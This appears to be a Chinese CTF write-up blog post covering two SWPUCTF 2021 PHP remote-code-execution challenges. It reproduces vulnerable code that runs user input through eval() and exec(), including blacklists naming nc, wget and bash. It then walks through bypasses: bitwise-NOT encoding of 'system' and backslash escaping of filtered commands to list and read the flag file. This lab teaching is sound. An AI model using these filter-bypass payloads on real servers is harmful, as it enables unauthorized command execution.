> 文章列表 > nssctf web 入门(7)

nssctf web 入门(7)

nssctf web 入门(7)

这里通过nssctf的题单web安全入门来写,会按照题单详细解释每题。题单在NSSCTF中。

想入门ctfweb的可以看这个系列,之后会一直出这个题单的解析,题目一共有28题,打算写10篇。

[SWPUCTF 2021 新生赛]hardrce

[SWPUCTF 2021 新生赛]hardrce

<?php
header("Content-Type:text/html;charset=utf-8");   
error_reporting(0);  #屏蔽错误报错信息
highlight_file(__FILE__); #将当前文件的代码显示到页面上
if(isset($_GET['wllm']))  #通过get获取wllm判断是不是空
{$wllm = $_GET['wllm']; #将get获取的wllm赋值给wllm$blacklist = [' ','\\t','\\r','\\n','\\+','\\[','\\^','\\]','\\"','\\-','\\$','\\*','\\?','\\<','\\>','\\=','\\`',]; #这里定义了一个黑名单数组foreach ($blacklist as $blackitem)  #foreach在php中用于遍历数组,这里代表将blacklist中的每个元素挨个取出放到blackitem中{if (preg_match('/' . $blackitem . '/m', $wllm)) { #通过preg_match匹配wllm中有没有blacklist中的内容 .在这里用来拼接 /m代表匹配多行字符串,也就是匹配所有的内容die("LTLT说不能用这些奇奇怪怪的符号哦!");}}
if(preg_match('/[a-zA-Z]/is',$wllm)) #绕通过preg_match匹配所有的大小写字符串
{die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm); #eval执行php代码
}
else
{echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

这里过滤了所有的字母我们肯定要编码,同时又过滤了很多字符,我们发现没有过滤% url编码是将url中非ascill码和特殊字符转换为可接受的ascll码的过程,%带着16进制编码

 这里像system这种普通文本不用经过url转换我们可以用~取反来帮我们

 

 绕过了但是ls没有东西这里没有过滤()我们试试将()不编码

(~system)(~ls /)

写进去的时候不要有D6D7

 [SWPUCTF 2021 新生赛]finalrce

[SWPUCTF 2021 新生赛]finalrce

<?php
highlight_file(__FILE__);  #把当前文件的代码显示到页面上
if(isset($_GET['url']))    #通过get方法获取一个url并判断url的值是不是空
{$url=$_GET['url'];     #将通过get获取的url的值赋值给url变量if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\\-|\\*|\\"|\\>|\\<|\\%|\\$/i',$url))  #通过preg_match判断url中中有没有像bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\\-|\\*|\\"|\\>|\\<|\\%|\\$中的内容    /i代表匹配大小写
{echo "Sorry,you can't use this.";}else{echo "Can you see anything?";exec($url);  #exec是执行命令的函数,这里会执行url的值}
}

 这里我们通过\\来绕过如l\\s 我们知道\\在正则表达式中有特殊含义可以用来匹配特殊字符,这里我们代表匹配以l开头\\s代表匹配一个空白字符

由此我们通过正则匹配的方式绕过了过滤 之外我们考虑exec会执行命令但是因为没有回显,所有我们不知道有什么内容这里>也被过滤了无法通过>输出到文件中

在linux中tee是一个命令行工具,可以以标准输出复制到标准输出 一般是将终端输出输出到文件

如ls | tee 1.txt 这个命令会将ls执行的结果输出到终端同时会输出到1.txt中所有我们可以使用tee来显示结果

所以得到payload l\\s / | tee 1.txt

这里查看根目录下的文件

 

 

 这里没有过滤tac 我们使用tac

tac /flllllaaaaaaggggggg 因为在过滤规则中有la使用我们要通过\\转义符使la的a变成普通字符这样就不会触发la的特殊方式